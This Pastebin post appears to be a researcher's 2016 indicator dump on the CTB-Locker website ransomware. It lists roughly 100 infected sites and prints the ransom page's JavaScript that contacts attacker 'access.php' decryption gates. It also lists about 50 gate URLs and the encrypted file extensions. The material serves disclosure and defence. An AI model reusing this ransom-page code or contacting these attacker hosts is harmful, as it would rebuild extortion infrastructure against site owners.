SHARE
TWEET

CTB-Locker

benkow_ Feb 22nd, 2016 (edited) 1,323 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. CTB Locker infected website
  2.  
  3. http://173.208.111.163/?page=freepage
  4. http://72.29.93.37/moodle/
  5. http://10bnct.ru/
  6. http://www.10minutesto1.net/?page=index
  7. http://www.24horasonline.net/
  8. http://www.3gshoptshirt.com
  9. http://amigomedia.net/ibizaah/
  10. http://www.asiafacility.com/
  11. http://www.assurance123.com/avance-de-fond-pour-mon-assurance-auto.php/feed?page=freepage
  12. http://atronis.com/?page=freepage
  13. http://australiandesignerweddings.com/
  14. http://www.bagdattemizlik.com/hizmetlerimiz/22-ilaclama-hizmetleri.html
  15. http://www.belclara.com/?page=freepage
  16. http://bilkayseri.com/?page=freepage
  17. http://blowmecool.com/my-account/
  18. http://busakle.com/?page=freepage
  19. http://www.bwasog.com/
  20. http://catifiyat.com/cuvalli-eko-kiremit-alti-ortusu-p26587.html
  21. http://www.care2kids.org
  22. http://casaquintero.com/Down/
  23. http://www.chinaqcinspection.com/
  24. http://www.chaudierefioul.com/
  25. http://comparetofly.com/?page=index
  26. http://www.concepticohost.com/conceptico.com/?page=freepage
  27. http://www.consempre.com/
  28. http://cornerstonefunding.net/
  29. http://www.cursosapuestas.com/
  30. http://www.cvanchen.com/?page=freepage
  31. http://www.cylooks.com/
  32. http://danidassoy.com/
  33. http://www.davidjermainewilliams.com/?page=freepage
  34. http://dennisnapper.com/
  35. http://www.divorcelawbf.com/
  36. http://ecba.biz/
  37. http://www.eitanbehar.org/archives/tag/%D7%99%D7%A8%D7%95%D7%A9%D7%9C%D7%99%D7%9D/feed?page=freepage
  38. http://emiliegriffin.com/
  39. http://www.energieee.com/
  40. http://www.etechlounge.com/
  41. http://www.fashionstreaks.com/
  42. http://www.fashionimm.com/women-s-stripe-color-block-splicing-knitting-casual-ol-pencil-dress-zip-matching-color-986.html?page=freepage
  43. http://www.financepinoy.com/author/ruff/feed/?page=freepage
  44. http://firsatikovala.com/
  45. http://fedstone.ru/index.php/2-uncategorised/74-page-19793?page=freepage
  46. http://www.giequestrianclub.org/?page=freepage
  47. http://gfxgod.com/AETONIXSYSTEMS.COM/
  48. http://www.goodwellpro.com/forum/index.php?page=index
  49. http://houseofcedar.net/?page=freepage
  50. http://www.howtheyrank.com/
  51. http://www.hyfcj.com/index.php?0caf2/x8rv.html
  52. http://ifmedia.ru/
  53. http://ifstusa.org/board-2/advisory-board/?page=index
  54. http://www.imperialorgymusic.com/arete100/
  55. http://kalobeauty.com/?page=freepage
  56. http://www.kcchiefsblog.com/chiefs-will-face-pretty-sore-peyton-manning
  57. http://kissingpussy.com/?page=index
  58. http://www.klingenberg.it/
  59. http://www.kolonker.com/news/?page=index
  60. http://www.kusogg.com/tokaze/
  61. http://www.lexdesign.net/
  62. http://www.lingerieconcierge.com/
  63. http://maureengallatin.com/inspiredbyhorses/
  64. http://www.mayaraicu.com/tag/45-kg-de-cartofi/
  65. http://medkrdnz.com/
  66. http://www.moderndesignhk.com/index.php?page=freepage
  67. http://mtool.by/
  68. https://www.myisleofwightholiday.com/?page=freepage
  69. http://www.narryhotelpatong.com/?page=index
  70. http://www.nexttopmodelinternational.com/worldnexttopmodel.com/?page=index
  71. http://northmacarthur.com/
  72. http://www.nowontheclock.com/
  73. http://p2pbikini.com/?page=freepage
  74. http://papanreklame.com/corneliusjauhari.com/
  75. http://penchantpublishing.com/nautiquesunique.com/
  76. http://phspring.net/
  77. http://www.quan100.net/index.php?m=tuan
  78. http://repairair.org/about/
  79. http://rikinfosys.com/ghureashi/
  80. http://www.rykross.com/buglas.com/
  81. http://sadquotesaboutlove.com/
  82. http://sadeqmedia.com/%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87-%D8%A7%D8%B3%D8%AA%D8%A7%D8%AF-%D8%A7%D9%85%D8%AC%D8%AF-%D8%AF%D8%B1-%D9%85%D8%A7%D9%87-%D9%85%D8%A8%D8%A7%D8%B1%DA%A9-%D8%B1%D9%85%D8%B6%D8%A7%D9%86/?page=index
  83. http://www.sayin-yapi.com/
  84. http://sevvalsenturk.com/?page=freepage
  85. https://www.sick-pig.com/?page=freepage
  86. http://singhsumit.com/
  87. http://smartpenthousebangkok.com/
  88. http://solmevini.com/
  89. http://www.staygray.com/
  90. http://www.swfldawgpound.com/
  91. http://www.test.davidklinkenberg.com/with-discount-naltrexone.pdf?page=index
  92. http://thesocialsme.com/
  93. http://technicato.com/?page=freepage
  94. http://thehumidor.info/?page=freepage
  95. http://www.thienthaohotel.com/
  96. http://tg-technologies.com/
  97. http://tutscoffee.com/huong-dan-lay-link-truc-tiep-tu-google-drive/?page=freepage
  98. http://vinabuhmwoo.com/
  99. http://www.wagzpetsalon.com/
  100. http://webelitesup.com/ferrari-red-48fw12.html?page=freepage
  101. http://winsocialmedia.com/
  102. http://wirepit.ch/OMGWTFNEWS.COM/
  103. http://www.zagora-online.com/
  104. http://www.zahiracollege.net/
  105.  
  106.  
  107. ~decryption gates script:
  108. <script>
  109. admins = ["http://orangecountyplasterandstucco.com/access.php", "http://klinika-redwhite.com/access.php", "http://charoenpan.com/access.php"];
  110. iadmin = 0;
  111. domain = encodeURIComponent(window.location.href.replace('http://', '').replace('https://', '').split('/')[0]);
  112.  
  113. function post_admin(postdata, onsuccess) {
  114.    $.post(admins[iadmin], postdata+"&domain="+domain, function (data) {
  115.          if (data["status"] == "success") {
  116.             onsuccess(data);
  117.          } else {
  118.             alert(data["status"]);
  119.          }
  120.       }, 'json'
  121.    ).fail(function() {
  122.       alert(iadmin >= 2 ? 'It seems like our server is down=( Try to push it again' : 'Push it again');
  123.       iadmin = (iadmin + 1) % 3;
  124.    });
  125. }
  126.  
  127. $('#decrypt').click(function() {
  128.    post_admin("decrypt=", function(data) {
  129.       alert('Your decryption key is ' + data["decrypt"] + '! Wait while page will be updated!');
  130.       url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?');
  131.       window.location.href = url + 'decrypt=' + data["decrypt"] + '&secret=' + data["secret"] + '&dectest=' + data["dectest"];
  132.    });
  133. });
  134.  
  135. $('#dectest').click(function() {
  136.    post_admin("dectest=&secret="+($("#secret").val()), function(data) {
  137.       alert('Your test decryption key is ' + data["dectest"] + '! Wait while page will be updated!');
  138.       url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?');
  139.       window.location.href = url + 'dectest=' + data["dectest"] + '&secret=' + data["secret"];
  140.    });
  141. });
  142.  
  143. $('#sendmsg').click(function() {
  144.    msg = "&msg=" + encodeURIComponent($("#chatmsg").val());
  145.    post_admin("sendmsg=&secret="+$("#secret").val()+msg, function(data) {
  146.       alert('Thank you for feedback!');
  147.    });
  148. });
  149.  
  150. $('#recvmsg').click(function() {
  151.    post_admin("recvmsg=&secret="+$("#secret").val(), function(data) {
  152.       $("#chatmsg").val(data["answer"]);
  153.    });
  154. });
  155.    </script>
  156.  
  157. List of ~decryption gates
  158. http://a1hose.com/access.php
  159. http://albatros46.ru/access.php
  160. http://andreboily.com/access.php
  161. http://associatedvac.alphaandomegamarketinggroup.com/access.php
  162. http://autobot.sk/access.php
  163. http://av-kazan.com/access.php
  164. http://bormed.ru/access.php
  165. http://bylleroseandalexwedding.com/access.php
  166. http://cedrussauna.net/access.php
  167. http://charoenpan.com/access.php
  168. http://chenconstruction.aaomg.com/access.php
  169. http://chrysolitemedia.com/cgi-bin/access.php
  170. http://cngesi.com/access.php
  171. http://corecanada.info/cgi-bin/access.php
  172. http://cresynin.com/cgi-bin/access.php
  173. http://danfill.cn/admin/Logs/access.php
  174. http://directimeca.nationprotect.net/Old_Site_Backup_09-27-07/access.php
  175. http://dostatsoseda.ru/access.php
  176. http://electronics2.aaomg.com/access.php
  177. http://erdeni.ru/access.php
  178. http://farini.org/access.php
  179. http://fastrentsrl.com/access.php
  180. http://gaminggix.com/access.php
  181. http://genevecorp.com/access.php
  182. http://gjswan.com/access.php
  183. http://inspirationbydesire.com/access.php
  184. http://ivoxlab.net/access.php
  185. http://jobsloaded.com/access.php
  186. http://kemerthai.com/access.php
  187. http://kibiifoundation.org/access.php
  188. http://kjerrman.net/access.php
  189. http://klinika-redwhite.com/access.php
  190. http://konyalife.com/access.php
  191. http://lawyerpublicity.com/access.php
  192. http://legal-website-design.com/access.php
  193. http://maxleathercases.aaomg.com/access.php
  194. http://orangecountyplasterandstucco.com/access.php
  195. http://ourfrontline.com/access.php
  196. http://profibella.ro/access.php
  197. http://pusintara.com/access.php
  198. http://ruetzamps.com/access.php
  199. http://salonincognito.aaomg.com/access.php
  200. http://saunacushions.com/access.php
  201. http://singaporegirlescorts.com/access.php
  202. http://sosudistyezvezdochki.ru/access.php
  203. http://stian.malkenes.com/access.php
  204. http://studiogreystar.com/access.php
  205. http://theexposuresgallery.com/access.php
  206. http://toashavaccine.com/cgi-bin/access.php
  207. http://velolenta.com/access.php
  208. http://wanttosleepbetter.com/access.php
  209.  
  210. List of encrypted files are in allenc.txt at the root of the webserver
  211.  
  212. List of extensions:
  213. 264 3g2 asf asx avi bik dash dat dvr flv h264 m2t m2ts 3dm 3ds 3gp 7z a3d aa aac ace adp ai amr ape apk apng arj asm asp aspx aws bas bat bbc blend bml bmp btm bzip2 c c4d cab cdr cfm cgi cgm clear clf cmd coff cpio cpp cpt cs csv dds deb dgn dicom dif dll djvu doc docx dta dvi dwg dxf edi elf emf eps exe fbx fig flac gif gpx gzip h ha hdr htm html iff ihtml phtml img inf iso jar java jpe jpeg jpg js jsp lav lha lib lwo lws lzo lzx m3d ma mac maf max mb md mdf mdl mds mhtml midi mkv ml mmf mng mod mov mp3 msi mxf nrg obj ods odt ogg out pas pcl pcx pdf pdn php pkg pl png pos prg prt ps psd py pz3 rar raw rb rib rpm rtf sai sd7 sdxf sgml sha shtml sldasm sldprt smc smil spr stdf stm stp svg swf sxc tar tex texinfo tga tgz tif tiff troff txt u3d unity uts vob vsm vue wav wif wire wlmp wma wmf wmv x x3d xhtml xls xlsx xmi xml xpm xz zip zoo m4v mp4 mpeg mpg mswmm mts ogv prproj rec rmvb tod tp ts webm 3ga aiff cda dvf gp4 gp5 logic m4a m4b m4p pcm snd sng uax wpl dib dng dt2 ico icon pic thm wbmp wdp webp arw cr2 crw dcr fpx mrw nef orf pcd ptx raf rw2 csh drw emz odg sda abr ani cdt fla icns mdi psb pzl sup vsdx 3D 3d dwfx lcf pro pts skp stl x_t eot otf ttc ttf woff aww chm cnt dbx docm dot dotm dotx epub ind indd key keynote mht mpp mpt odf ott oxps pages pmd pot potx pps ppsx ppt pptm pptx prn pub pwi rep sdd sdw shs snp sxw tpl vsd wpd wps wri xps 1st alx application eng log lrc lst nfo opml plist reg srt sub tbl text xsd xsl xslt azw azw3 cbr cbz fb2 iba ibooks lit mobi sdc xlsm accdb accdt mdb mpd one onepkg pst thmx big hi lng pak res sav save scn scx wotreplay wowpreplay g64 gb gba mbz n64 nds nes rom smd srm v64 ova ovf pvm vdi vhd vmdk vmem vmwarevm vmx ashx atom bc class crdownload css dlc download eml gdoc gsheet gslides json part partial rss torrent xap ldif msg vcf app com cpl gadget lnk scr tmp vbs bin drv ocx sys vxd 002 003 004 005 006 007 008 009 010 7zip a00 a01 a02 a03 a04 a05 air arc asec bar c00 c01 c02 c03 cso gz hqx inv ipa isz msu nbh rar r00 r01 r02 r03 r04 r05 r06 r07 r08 r09 r10 sis sisx sit sitd sitx tar.gz webarchive z01 z02 z03 z04 z05 bak bbb bkf bkp dbk gho ipd mdbackup nba nbf nbu nco old sbf sbu spb tib wbcat 000 ccd cue daa dao dmg mdx tao tc toast uif vcd crypt ipsw npf pkpass rem rsc gdb ofx qif db dbf fdb idx msmessagestore sdf sql sqlite wdb kml kmz map appx appxbundle blf dump evtx kext mui sfcache swp cnf contact deskthemepack ics ifo lrtemplate m3u m3u8 pls skn svp template theme themepack trm wba plugin safariextz xpi inc jad o rc scpt src cfg ini usr dmp ksd pfx ut adadownload cache temp 3dr cal dct dic gbk md5 prj ref upd upg
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top